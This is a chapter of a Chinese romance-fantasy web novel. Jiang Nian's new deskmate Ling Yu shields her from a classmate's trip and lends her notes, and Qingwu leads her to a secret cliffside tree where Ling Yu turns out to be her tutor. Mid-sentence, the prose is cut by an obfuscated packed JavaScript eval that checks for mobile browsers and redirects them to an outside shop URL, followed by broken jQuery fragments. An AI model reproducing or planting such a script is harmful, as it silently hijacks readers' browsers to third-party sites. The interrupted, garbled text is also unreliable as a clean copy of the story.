4. 有人替她出头了

作品:《他接近我只是奉命行事

    姜念看着青梧神秘兮兮的样子,小声嘀咕了一句:“……怎么还卖起关子了。


    青梧显然听见了,但半点没有要解释的意思,把碗筷一推,站起身来,“快走吧,再磨蹭就迟到了,云婆婆不喜欢人迟到。”


    姜念心里还在琢磨青梧说的那个人,可青梧不肯说,她再怎么琢磨也猜不出是谁。


    算了,晚上就知道了。


    她不再多想,加快脚步跟上了青梧。


    羽族课室是一座青灰色的屋子,课室最前面站着一个头发全白的老妇人,手里拿着一根通体乌黑的木杖。


    青梧从姜念身后探出半个身子,朝那老妇人行了一礼:“云婆婆,人带来了。”


    姜念感觉到云婆婆的目光从自己的头顶一路看到脚底,她下意识站直了些。


    片刻后,她看到云婆婆把木杖在地面上轻轻点了一下。


    “进来吧。”


    姜念松了口气,正准备往里走,耳边却忽然一热,青梧不知什么时候凑了过来,“我已经有同桌了,你坐那个位置吧。”说着往课室后方指了指,然后便径直走向了自己的座位。


    姜念朝后排走去,还没到跟前,一条腿突然伸出来,横在过道中央。


    她抬头看去,一个少年正托着下巴靠在桌边,眼睛半闭着,像是困极了。她犹豫了一瞬,正想跨过去,身后传来“吱呀”一声,像是有人推门进来了。


    姜念冒出一个念头:怎么有人比她来得还晚?但这念头只出现了一下,她的注意力又落回面前这条腿上。她抬起脚……


    “跟我坐一起。”一个声音忽然在旁边响起。


    姜念吓了一跳,停住脚步,抬起头,一个身穿月白色长袍的少年已经从她身旁走过,径直向后排走去。


    她愣了一下,这才发现刚才那条横在过道里的腿不知什么时候已经收回去了,那个犯困的少年正坐得端端正正,低头翻着书,仿佛什么都没发生过。


    ……什么情况?


    她来不及多想,快步跟上去,坐到了他旁边。


    坐在位置上的姜念心里很疑惑,这人是谁,为什么特意走过来叫她?


    她忍不住偷偷打量身旁的少年。


    只见他眉眼舒展,鼻梁挺直,肤色冷白,头发用一根素银簪束起,几缕碎发垂落在额前。


    正看着入神,没成想他突然转头看过来,姜念心里一紧,连忙收回目光。


    被抓包了。


    她盯着自己面前的桌面,脸有点发烫,可在她余光里那道视线没有移开,她发现那个月白长袍的少年还在看她。


    还在看?是不是自己刚才偷看得太明显了?


    就在她犹豫要不要硬着头皮转过去问一句“怎么了”的时候,余光里出现了动作。


    少年的手伸了过来,在她的桌案上轻轻敲了两下。


    这应该是在叫她吧,姜念在心里短暂的思索后,确认了这一点,转过头去。


    “今天讲御风诀。”他一边说话一边从袖中拿出一本册子,放到桌案上,往她这边推了推。“你刚来,可能跟不上,我这儿有抄本,可以借你。”


    姜念有点惊讶。


    “拿着吧。”他又把抄本往姜念这边推了推。


    姜念看了一眼那抄本,没有立刻去接。她有些迟疑,她和他今天才第一次见面,对方为什么提前准备好了抄本。


    少年注意到了姜念的神情,随即轻轻叹了口气。


    “我叫凌与,青梧是我表妹。”他带着有点无奈的语气,右边的脸颊现出一个很浅的梨涡,“她昨天就一直和我说新来的同学让我照应些。”说完,凌与轻咳了一声,不再看姜念。


    原来是这样,姜念心里的迟疑顿时散了大半。


    她低头,看向那本抄本。


    封皮是浅青色的,边角压得整整齐齐。翻开后,姜念看到墨迹很新,有些地方还画了细线做标记,旁边用小字批了口诀和音韵。


    “谢谢。”姜念小声说。


    凌与没转头,只是“嗯”了一声。


    转眼间便到了下课的时候。这一堂课和上午在渊族课室没什么两样,云婆婆讲的她一句也听不懂,唯一不同的是手里多了本抄本。


    今天两堂课下来,她很清楚一件事,靠她这样听课,别说一个月,再给十年可能也过不了考核。


    只能等晚上了,希望青梧说的那个人,真的能教会她点什么。


    走出课室后,青梧带着她往学舍北面走。


    走着走着,姜念发现石板路不知什么时候变成了泥土小径,两旁的树也愈发长得肆意横生。


    她心里渐渐有些不安起来,才认识第一天,她连青梧是什么人都没摸清楚,就这么跟着往这么偏僻的地方走,万一……


    她下意识看了青梧一眼,想了想青梧今天对她的善意,犹豫了一下,把心里的疑问藏了起来,但还是一边走一边留意着周围的地形,万一真有什么不对,至少还记得路。


    再往前走,地势渐渐往上斜,脚下的草已经长到膝盖处,空气也变得更加潮湿。


    “青梧,要不今天先不……”


    “到了!”姜念话还没说完,青梧便回头冲她笑着说。


    姜念向前方望去,剩下的话全堵在了喉咙里。


    山崖边上,一棵巨大的古木拔地而起,树干粗得十余个人也合抱不住,树冠遮天蔽日,一半树根扎进崖壁,另一半悬在深渊之上。


    她仰着头,半天才回过神来,“……这是哪儿?”


    “我发现的一个秘密地方。”青梧话音刚落,足尖一点,整个人已经轻快地翻越到了一根离地足有丈余的粗壮枝丫上。


    姜念站在树下,看着高高坐在枝头上的青梧,一时不知道自己该怎么做。


    青梧对上姜念茫然的眼神,笑了一下,随即右手抬起,两指捏了个诀,在身前隔空一划。


    下一瞬,一道微风从姜念脚边凭空旋起,轻柔地裹住了她,她整个人被这道风托离了地面。


    姜念双脚骤然离地,心里一慌,害怕地闭上了眼,抓紧自己的衣袖。


    等她试探着睁开眼时,发现自己已经挨着青梧坐下了。


    “怎么样,不错吧?”她看见青梧偏过头,眼睛亮晶晶地盯着自己。


    姜念刚被那道风托上来,人还有点发晕,听见青梧的话,低头看了看身下的枝丫,粗壮结实,坐得还算稳当。她正要松一口气,余光却不小心扫到了枝丫下方。


    这根枝丫已经远远


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17649857|206856||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    伸出崖壁,底下是万丈深渊,根本看不到底,全是不断翻涌的白雾。


    她那口刚刚松下的气又猛地提了上来,整个人身体猛地绷紧,用十指紧紧抠住树皮。


    “你、你每次来都坐这儿?”她的声音已经有点破音。


    青梧晃了晃腿,“怕什么,掉不下去,再说,掉下去了还能飞上来呀。”


    姜念嘴角微不可察地抽了一下,在心里默默回了一句:可是我不会飞啊。


    她赶紧把这个念头按下去,又给自己鼓了鼓气:真掉下去了,青梧总不会见死不救吧。这么安慰了自己两句,总算没那么慌了。


    她深吸一口气,强迫自己不再看那片深渊。


    “对了,说正事。”姜念定了定神,想起这趟来是为了什么,“你说有人能教我,人在哪儿?”她往左右看了看,这里除了她和青梧,连个其他人影子都没有。


    “不急,他马上自会出现。”青梧换了个姿势,盘腿坐好。


    姜念狐疑地看了她一眼,正要再问,青梧却忽然凑近了些,换了一副讲悄悄话的语气:“对了,凌与今天给你的那本抄本,你看了吗?”


    姜念点点头。


    “他昨晚抄到半夜呢。”青梧啧啧两声,“平时看着吊儿郎当的,没想到还挺上心。”


    话刚落音,头顶浓密的枝叶间忽然传来一道声音——


    “谁在背后说我坏话?”


    姜念猛地抬头,只见上方一根更高的枝丫上,层层叠叠的叶片被一只手拨开,露出一张熟悉的脸。凌与半倚在枝干上,正垂着眼往下看她们。


    他什么时候在上面的?


    姜念愣了一下,转头看向青梧,投去了一个询问的目光。


    却看见青梧嘴角一翘,微微挑了挑眉,满脸写着“看,我没骗你吧”。


    姜念怔了怔,这才后知后觉地明白过来青梧说的那个能教她的人,就是凌与。


    凌与拨开树枝,从上方翻身而下,双脚落在枝干上,压得整根枝丫轻轻晃了晃,他挨在姜念旁边顺势坐了下来。


    青梧往前探了探身子,用下巴指了指凌与,“你别看凌与平时一副没正形的样子,他可是共主的亲传弟子,厉害着呢,他教你肯定没问题。”


    说完她收回身子,一只手托住下巴,“不过最近共主忙得不见人影,才让他先来学舍待着。”


    姜念听到这,下意识转头看了凌与一眼。共主的亲传弟子?她想起在殿中见过的那个男人,又想起课室里凌与把抄本推过来时的样子,这两件事一时对不上号。


    凌与没接青梧的话茬,看着姜念开口道:“其实在你之前,学舍没有同时身负两族血脉的人参加过考核。”


    姜念听完,愣了一下。


    姜念知道自己可能身负两族血脉,可玄冥没多说,也没人跟她解释过这意味着什么,她便一直没觉得这有什么特别的。现在被凌与这么一说,她才头一次认真去想这件事。


    仔细想想,她在学舍里见到的那些人,好像确实都是泾渭分明,渊族的和渊族的一起,羽族的和羽族的一起。除了她自己,她没见到任何一个人身上同时带着两种血脉。


    她看向凌与,眉头皱起,“之前没有过?那我是第一个?”